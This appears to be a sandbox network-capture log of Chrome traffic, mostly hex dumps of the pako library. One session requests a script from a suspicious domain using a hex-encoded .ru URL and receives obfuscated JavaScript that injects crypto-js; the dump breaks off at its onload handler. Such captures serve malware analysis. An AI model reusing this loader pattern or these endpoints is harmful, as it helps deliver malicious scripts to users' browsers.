4e 3a 30 2c 5a 5f 42 45 53 54 5f 53 50 45 45 Data Ascii: mpatible version"},j={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_MEM_ERROR:-4,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST_SPEE
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 7d 2c 7a 74 3d 28 74 2c 65 29 3d 3e 7b 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 65 3e 3e 3e 38 26 32 35 35 2c 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 32 35 35 26 65 7d 2c 41 74 3d 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 6c 65 74 20 6e 3d 74 2e 61 76 61 69 6c 5f 69 6e 3b 72 65 74 75 72 6e 20 6e 3e 69 26 26 28 6e 3d 69 29 2c 30 3d 3d 3d 6e 3f 30 3a 28 74 2e 61 76 61 69 6c 5f 69 6e 2d 3d 6e 2c 65 2e 73 65 74 28 74 2e 69 6e 70 75 74 2e 73 75 62 61 72 72 61 79 28 74 2e 6e 65 78 74 5f 69 6e 2c 74 2e 6e 65 78 74 5f 69 6e 2b 6e 29 2c 61 29 2c 31 3d 3d 3d 74 2e 73 74 61 74 65 2e 77 72 61 70 3f 74 2e 61 64 6c 65 72 3d 42 28 74 2e 61 64 6c 65 72 2c 65 2c 6e 2c 61 29 3a 32 3d 3d 3d 74 2e 73 Data Ascii: },zt=(t,e)=>{t.pending_buf[t.pending++]=e>>>8&255,t.pending_buf[t.pending++]=255&e},At=(t,e,a,i)=>{let n=t.avail_in;return n>i&&(n=i),0===n?0:(t.avail_in-=n,e.set(t.input.subarray(t.next_in,t.next_in+n),a),1===t.state.wrap?t.adler=B(t.adler,e,n,a):2===t.s
2024-12-11 01:08:21 UTC	1369	IN	Data Raw: 6f 6b 61 68 65 61 64 2c 73 29 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 2b 3d 69 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 2b 74 2e 69 6e 73 65 72 74 3e 3d 33 29 66 6f 72 28 72 3d 74 2e 73 74 72 73 74 61 72 74 2d 74 2e 69 6e 73 65 72 74 2c 74 2e 69 6e 73 5f 68 3d 74 2e 77 69 6e 64 6f 77 5b 72 5d 2c 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 72 2b 31 5d 29 3b 74 2e 69 6e 73 65 72 74 26 26 28 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 72 2b 33 2d 31 5d 29 2c 74 2e 70 72 65 76 5b 72 26 74 2e 77 5f 6d 61 73 6b 5d 3d 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 2c 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 3d 72 2c 72 2b 2b 2c 74 2e 69 6e 73 65 72 74 2d 2d 2c 21 28 74 2e 6c 6f Data Ascii: okahead,s),t.lookahead+=i,t.lookahead+t.insert>=3)for(r=t.strstart-t.insert,t.ins_h=t.window[r],t.ins_h=kt(t,t.ins_h,t.window[r+1]);t.insert&&(t.ins_h=kt(t,t.ins_h,t.window[r+3-1]),t.prev[r&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=r,r++,t.insert--,!(t.lo
2024-12-11 01:08:22 UTC	1369	IN	Data Raw: 3b 3b 29 7b 69 66 28 74 2e 6c 6f 6f 6b 61 68 65 61 64 3c 63 74 29 7b 69 66 28 52 74 28 74 29 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 3c 63 74 26 26 65 3d 3d 3d 57 29 72 65 74 75 72 6e 20 31 3b 69 66 28 30 3d 3d 3d 74 2e 6c 6f 6f 6b 61 68 65 61 64 29 62 72 65 61 6b 7d 69 66 28 61 3d 30 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 3e 3d 33 26 26 28 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 74 2e 73 74 72 73 74 61 72 74 2b 33 2d 31 5d 29 2c 61 3d 74 2e 70 72 65 76 5b 74 2e 73 74 72 73 74 61 72 74 26 74 2e 77 5f 6d 61 73 6b 5d 3d 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 2c 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 3d 74 2e 73 74 72 73 74 61 72 74 29 2c 74 2e 70 72 65 76 5f 6c 65 6e 67 74 68 3d 74 2e 6d 61 74 63 68 5f Data Ascii: ;;){if(t.lookahead<ct){if(Rt(t),t.lookahead<ct&&e===W)return 1;if(0===t.lookahead)break}if(a=0,t.lookahead>=3&&(t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),t.prev_length=t.match_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	104.17.24.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:23 UTC	376	OUT	GET /ajax/libs/pako/2.0.4/pako.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:24 UTC	955	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:23 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"6102d866-36c3" Last-Modified: Thu, 29 Jul 2021 16:33:42 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 2 Expires: Mon, 01 Dec 2025 01:08:23 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BMrGEtUeiNUpAAE9aZvDjowR4obOwcuDlH8YTb1PrChkXaw1A8OlmHYDVNS%2BVIL2Z74zNHY0yNjYvr1Yi6MxpdorSNEJRO1lux6qRXYm96S%2BRUE4TALcq3HOZHjOebC%2BZ3J4Es14"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f0195515f68425d-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:24 UTC	414	IN	Data Raw: 37 62 66 36 0d 0a 2f 2a 21 20 70 61 6b 6f 20 32 2e 30 2e 34 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 6f 64 65 63 61 2f 70 61 6b 6f 20 40 6c 69 63 65 6e 73 65 20 28 4d 49 54 20 41 4e 44 20 5a 6c 69 62 29 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 65 28 65 78 70 6f 72 74 73 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 5d 2c 65 29 3a 65 28 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 Data Ascii: 7bf6/! pako 2.0.4 https://github.com/nodeca/pako @license (MIT AND Zlib) /!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?g
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 31 2c 31 2c 32 2c 32 2c 32 2c 32 2c 33 2c 33 2c 33 2c 33 2c 34 2c 34 2c 34 2c 34 2c 35 2c 35 2c 35 2c 35 2c 30 5d 29 2c 6c 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 32 2c 32 2c 33 2c 33 2c 34 2c 34 2c 35 2c 35 2c 36 2c 36 2c 37 2c 37 2c 38 2c 38 2c 39 2c 39 2c 31 30 2c 31 30 2c 31 31 2c 31 31 2c 31 32 2c 31 32 2c 31 33 2c 31 33 5d 29 2c 6f 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 32 2c 33 2c 37 5d 29 2c 68 3d 6e 65 77 20 55 69 6e 74 38 41 72 72 61 79 28 5b 31 36 2c 31 37 2c 31 38 2c 30 2c 38 2c 37 2c 39 2c 36 2c 31 30 2c 35 2c 31 31 2c 34 2c 31 32 2c 33 2c 31 Data Ascii: 0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),l=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),o=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),h=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,1
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 79 28 74 2c 74 2e 62 69 5f 62 75 66 29 3a 74 2e 62 69 5f 76 61 6c 69 64 3e 30 26 26 28 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 74 2e 62 69 5f 62 75 66 29 2c 74 2e 62 69 5f 62 75 66 3d 30 2c 74 2e 62 69 5f 76 61 6c 69 64 3d 30 7d 2c 55 3d 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 63 6f 6e 73 74 20 6e 3d 32 2a 65 2c 73 3d 32 2a 61 3b 72 65 74 75 72 6e 20 74 5b 6e 5d 3c 74 5b 73 5d 7c 7c 74 5b 6e 5d 3d 3d 3d 74 5b 73 5d 26 26 69 5b 65 5d 3c 3d 69 5b 61 5d 7d 2c 53 3d 28 74 2c 65 2c 61 29 3d 3e 7b 63 6f 6e 73 74 20 69 3d 74 2e 68 65 61 70 5b 61 5d 3b 6c 65 74 20 6e 3d 61 3c 3c 31 3b 66 6f 72 28 3b 6e 3c 3d 74 2e 68 65 61 70 5f 6c 65 6e 26 26 28 6e 3c 74 2e 68 65 61 70 5f 6c 65 6e 26 26 55 28 65 2c 74 2e 68 65 61 70 5b 6e 2b Data Ascii: y(t,t.bi_buf):t.bi_valid>0&&(t.pending_buf[t.pending++]=t.bi_buf),t.bi_buf=0,t.bi_valid=0},U=(t,e,a,i)=>{const n=2e,s=2a;return t[n]<t[s]\|\|t[n]===t[s]&&i[e]<=i[a]},S=(t,e,a)=>{const i=t.heap[a];let n=a<<1;for(;n<=t.heap_len&&(n<t.heap_len&&U(e,t.heap[n+
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 73 74 61 74 69 63 5f 74 72 65 65 2c 72 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 68 61 73 5f 73 74 72 65 65 2c 6c 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 65 78 74 72 61 5f 62 69 74 73 2c 6f 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 65 78 74 72 61 5f 62 61 73 65 2c 68 3d 65 2e 73 74 61 74 5f 64 65 73 63 2e 6d 61 78 5f 6c 65 6e 67 74 68 3b 6c 65 74 20 64 2c 5f 2c 66 2c 63 2c 75 2c 77 2c 62 3d 30 3b 66 6f 72 28 63 3d 30 3b 63 3c 3d 73 3b 63 2b 2b 29 74 2e 62 6c 5f 63 6f 75 6e 74 5b 63 5d 3d 30 3b 66 6f 72 28 61 5b 32 2a 74 2e 68 65 61 70 5b 74 2e 68 65 61 70 5f 6d 61 78 5d 2b 31 5d 3d 30 2c 64 3d 74 2e 68 65 61 70 5f 6d 61 78 2b 31 3b 64 3c 35 37 33 3b 64 2b 2b 29 5f 3d 74 2e 68 65 61 70 5b 64 5d 2c 63 3d 61 5b 32 2a 61 5b 32 Data Ascii: =e.stat_desc.static_tree,r=e.stat_desc.has_stree,l=e.stat_desc.extra_bits,o=e.stat_desc.extra_base,h=e.stat_desc.max_length;let d,_,f,c,u,w,b=0;for(c=0;c<=s;c++)t.bl_count[c]=0;for(a[2t.heap[t.heap_max]+1]=0,d=t.heap_max+1;d<573;d++)_=t.heap[d],c=a[2a[2
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 2c 69 29 3d 3e 7b 5a 28 74 29 2c 69 26 26 28 79 28 74 2c 61 29 2c 79 28 74 2c 7e 61 29 29 2c 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 2e 73 65 74 28 74 2e 77 69 6e 64 6f 77 2e 73 75 62 61 72 72 61 79 28 65 2c 65 2b 61 29 2c 74 2e 70 65 6e 64 69 6e 67 29 2c 74 2e 70 65 6e 64 69 6e 67 2b 3d 61 7d 29 28 74 2c 65 2c 61 2c 21 30 29 7d 3b 76 61 72 20 4e 3d 7b 5f 74 72 5f 69 6e 69 74 3a 74 3d 3e 7b 46 7c 7c 28 28 28 29 3d 3e 7b 6c 65 74 20 74 2c 65 2c 61 2c 68 2c 6b 3b 63 6f 6e 73 74 20 76 3d 6e 65 77 20 41 72 72 61 79 28 31 36 29 3b 66 6f 72 28 61 3d 30 2c 68 3d 30 3b 68 3c 32 38 3b 68 2b 2b 29 66 6f 72 28 75 5b 68 5d 3d 61 2c 74 3d 30 3b 74 3c 31 3c 3c 72 5b 68 5d 3b 74 2b 2b 29 63 5b 61 2b 2b 5d 3d 68 3b 66 6f 72 28 63 5b 61 2d 31 5d 3d 68 2c 6b 3d 30 2c 68 3d Data Ascii: ,i)=>{Z(t),i&&(y(t,a),y(t,~a)),t.pending_buf.set(t.window.subarray(e,e+a),t.pending),t.pending+=a})(t,e,a,!0)};var N={_tr_init:t=>{F\|\|((()=>{let t,e,a,h,k;const v=new Array(16);for(a=0,h=0;h<28;h++)for(u[h]=a,t=0;t<1<<r[h];t++)c[a++]=h;for(c[a-1]=h,k=0,h=
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 2b 37 3e 3e 3e 33 2c 72 3c 3d 73 26 26 28 73 3d 72 29 29 3a 73 3d 72 3d 69 2b 35 2c 69 2b 34 3c 3d 73 26 26 2d 31 21 3d 3d 65 3f 4c 28 74 2c 65 2c 69 2c 6e 29 3a 34 3d 3d 3d 74 2e 73 74 72 61 74 65 67 79 7c 7c 72 3d 3d 3d 73 3f 28 78 28 74 2c 32 2b 28 6e 3f 31 3a 30 29 2c 33 29 2c 44 28 74 2c 64 2c 5f 29 29 3a 28 78 28 74 2c 34 2b 28 6e 3f 31 3a 30 29 2c 33 29 2c 28 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 6c 65 74 20 6e 3b 66 6f 72 28 78 28 74 2c 65 2d 32 35 37 2c 35 29 2c 78 28 74 2c 61 2d 31 2c 35 29 2c 78 28 74 2c 69 2d 34 2c 34 29 2c 6e 3d 30 3b 6e 3c 69 3b 6e 2b 2b 29 78 28 74 2c 74 2e 62 6c 5f 74 72 65 65 5b 32 2a 68 5b 6e 5d 2b 31 5d 2c 33 29 3b 49 28 74 2c 74 2e 64 79 6e 5f 6c 74 72 65 65 2c 65 2d 31 29 2c 49 28 74 2c 74 2e 64 79 6e 5f 64 74 72 65 65 Data Ascii: +7>>>3,r<=s&&(s=r)):s=r=i+5,i+4<=s&&-1!==e?L(t,e,i,n):4===t.strategy\|\|r===s?(x(t,2+(n?1:0),3),D(t,d,_)):(x(t,4+(n?1:0),3),((t,e,a,i)=>{let n;for(x(t,e-257,5),x(t,a-1,5),x(t,i-4,4),n=0;n<i;n++)x(t,t.bl_tree[2*h[n]+1],3);I(t,t.dyn_ltree,e-1),I(t,t.dyn_dtree
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 22 69 6e 63 6f 6d 70 61 74 69 62 6c 65 20 76 65 72 73 69 6f 6e 22 7d 2c 6a 3d 7b 5a 5f 4e 4f 5f 46 4c 55 53 48 3a 30 2c 5a 5f 50 41 52 54 49 41 4c 5f 46 4c 55 53 48 3a 31 2c 5a 5f 53 59 4e 43 5f 46 4c 55 53 48 3a 32 2c 5a 5f 46 55 4c 4c 5f 46 4c 55 53 48 3a 33 2c 5a 5f 46 49 4e 49 53 48 3a 34 2c 5a 5f 42 4c 4f 43 4b 3a 35 2c 5a 5f 54 52 45 45 53 3a 36 2c 5a 5f 4f 4b 3a 30 2c 5a 5f 53 54 52 45 41 4d 5f 45 4e 44 3a 31 2c 5a 5f 4e 45 45 44 5f 44 49 43 54 3a 32 2c 5a 5f 45 52 52 4e 4f 3a 2d 31 2c 5a 5f 53 54 52 45 41 4d 5f 45 52 52 4f 52 3a 2d 32 2c 5a 5f 44 41 54 41 5f 45 52 52 4f 52 3a 2d 33 2c 5a 5f 4d 45 4d 5f 45 52 52 4f 52 3a 2d 34 2c 5a 5f 42 55 46 5f 45 52 52 4f 52 3a 2d 35 2c 5a 5f 4e 4f 5f 43 4f 4d 50 52 45 53 53 49 4f 4e 3a 30 2c 5a 5f 42 45 53 54 Data Ascii: "incompatible version"},j={Z_NO_FLUSH:0,Z_PARTIAL_FLUSH:1,Z_SYNC_FLUSH:2,Z_FULL_FLUSH:3,Z_FINISH:4,Z_BLOCK:5,Z_TREES:6,Z_OK:0,Z_STREAM_END:1,Z_NEED_DICT:2,Z_ERRNO:-1,Z_STREAM_ERROR:-2,Z_DATA_ERROR:-3,Z_MEM_ERROR:-4,Z_BUF_ERROR:-5,Z_NO_COMPRESSION:0,Z_BEST
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 2b 2b 5d 3d 65 7d 2c 7a 74 3d 28 74 2c 65 29 3d 3e 7b 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 65 3e 3e 3e 38 26 32 35 35 2c 74 2e 70 65 6e 64 69 6e 67 5f 62 75 66 5b 74 2e 70 65 6e 64 69 6e 67 2b 2b 5d 3d 32 35 35 26 65 7d 2c 41 74 3d 28 74 2c 65 2c 61 2c 69 29 3d 3e 7b 6c 65 74 20 6e 3d 74 2e 61 76 61 69 6c 5f 69 6e 3b 72 65 74 75 72 6e 20 6e 3e 69 26 26 28 6e 3d 69 29 2c 30 3d 3d 3d 6e 3f 30 3a 28 74 2e 61 76 61 69 6c 5f 69 6e 2d 3d 6e 2c 65 2e 73 65 74 28 74 2e 69 6e 70 75 74 2e 73 75 62 61 72 72 61 79 28 74 2e 6e 65 78 74 5f 69 6e 2c 74 2e 6e 65 78 74 5f 69 6e 2b 6e 29 2c 61 29 2c 31 3d 3d 3d 74 2e 73 74 61 74 65 2e 77 72 61 70 3f 74 2e 61 64 6c 65 72 3d 42 28 74 2e 61 64 6c 65 72 2c 65 2c 6e 2c 61 29 3a 32 3d Data Ascii: ++]=e},zt=(t,e)=>{t.pending_buf[t.pending++]=e>>>8&255,t.pending_buf[t.pending++]=255&e},At=(t,e,a,i)=>{let n=t.avail_in;return n>i&&(n=i),0===n?0:(t.avail_in-=n,e.set(t.input.subarray(t.next_in,t.next_in+n),a),1===t.state.wrap?t.adler=B(t.adler,e,n,a):2=
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 2b 74 2e 6c 6f 6f 6b 61 68 65 61 64 2c 73 29 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 2b 3d 69 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 2b 74 2e 69 6e 73 65 72 74 3e 3d 33 29 66 6f 72 28 72 3d 74 2e 73 74 72 73 74 61 72 74 2d 74 2e 69 6e 73 65 72 74 2c 74 2e 69 6e 73 5f 68 3d 74 2e 77 69 6e 64 6f 77 5b 72 5d 2c 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 72 2b 31 5d 29 3b 74 2e 69 6e 73 65 72 74 26 26 28 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 72 2b 33 2d 31 5d 29 2c 74 2e 70 72 65 76 5b 72 26 74 2e 77 5f 6d 61 73 6b 5d 3d 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 2c 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 3d 72 2c 72 2b 2b 2c 74 2e 69 6e 73 65 72 74 2d 2d 2c 21 Data Ascii: +t.lookahead,s),t.lookahead+=i,t.lookahead+t.insert>=3)for(r=t.strstart-t.insert,t.ins_h=t.window[r],t.ins_h=kt(t,t.ins_h,t.window[r+1]);t.insert&&(t.ins_h=kt(t,t.ins_h,t.window[r+3-1]),t.prev[r&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=r,r++,t.insert--,!
2024-12-11 01:08:24 UTC	1369	IN	Data Raw: 3b 66 6f 72 28 3b 3b 29 7b 69 66 28 74 2e 6c 6f 6f 6b 61 68 65 61 64 3c 63 74 29 7b 69 66 28 52 74 28 74 29 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 3c 63 74 26 26 65 3d 3d 3d 57 29 72 65 74 75 72 6e 20 31 3b 69 66 28 30 3d 3d 3d 74 2e 6c 6f 6f 6b 61 68 65 61 64 29 62 72 65 61 6b 7d 69 66 28 61 3d 30 2c 74 2e 6c 6f 6f 6b 61 68 65 61 64 3e 3d 33 26 26 28 74 2e 69 6e 73 5f 68 3d 6b 74 28 74 2c 74 2e 69 6e 73 5f 68 2c 74 2e 77 69 6e 64 6f 77 5b 74 2e 73 74 72 73 74 61 72 74 2b 33 2d 31 5d 29 2c 61 3d 74 2e 70 72 65 76 5b 74 2e 73 74 72 73 74 61 72 74 26 74 2e 77 5f 6d 61 73 6b 5d 3d 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 2c 74 2e 68 65 61 64 5b 74 2e 69 6e 73 5f 68 5d 3d 74 2e 73 74 72 73 74 61 72 74 29 2c 74 2e 70 72 65 76 5f 6c 65 6e 67 74 68 3d 74 2e 6d Data Ascii: ;for(;;){if(t.lookahead<ct){if(Rt(t),t.lookahead<ct&&e===W)return 1;if(0===t.lookahead)break}if(a=0,t.lookahead>=3&&(t.ins_h=kt(t,t.ins_h,t.window[t.strstart+3-1]),a=t.prev[t.strstart&t.w_mask]=t.head[t.ins_h],t.head[t.ins_h]=t.strstart),t.prev_length=t.m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	69.49.245.172	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:23 UTC	657	OUT	GET /res444.php?2-68747470733a2f2f436a2e716867677a7a776e7066682e72752f7141424a464e2f-dhole HTTP/1.1 Host: cosenzaconsulting.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:24 UTC	196	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:22 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2024-12-11 01:08:24 UTC	1963	IN	Data Raw: 37 39 66 0d 0a 20 20 20 20 76 61 72 20 52 79 57 56 6c 62 55 49 49 6d 46 71 4c 64 4d 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 52 79 57 56 6c 62 55 49 49 6d 46 71 4c 64 4d 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 52 79 57 56 6c 62 55 49 49 6d 46 71 4c 64 4d 6d 29 3b 0d 0a 52 79 57 56 6c 62 55 49 49 6d 46 71 4c 64 4d 6d 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 79f var RyWVlbUIImFqLdMm = document.createElement("script");RyWVlbUIImFqLdMm.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(RyWVlbUIImFqLdMm);RyWVlbUIImFqLdMm.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49737	104.17.25.14	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:24 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:24 UTC	958	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 123334 Expires: Mon, 01 Dec 2025 01:08:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YHVuur5FyAf1xAqJtAI4nOANu1l2YjjMBfYrLlg%2B99O0WHbJEckKpeCeeoTRdBjVdvxBD7Nxvb%2BywVuqbIhpbml4rMGdkgh4Q27%2BVSHpsUsjPo9g9TXklJeuVNaq4dKF9AYfrN1D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f0195554cc54246-EWR alt-svc: h3=":443"; ma=86400
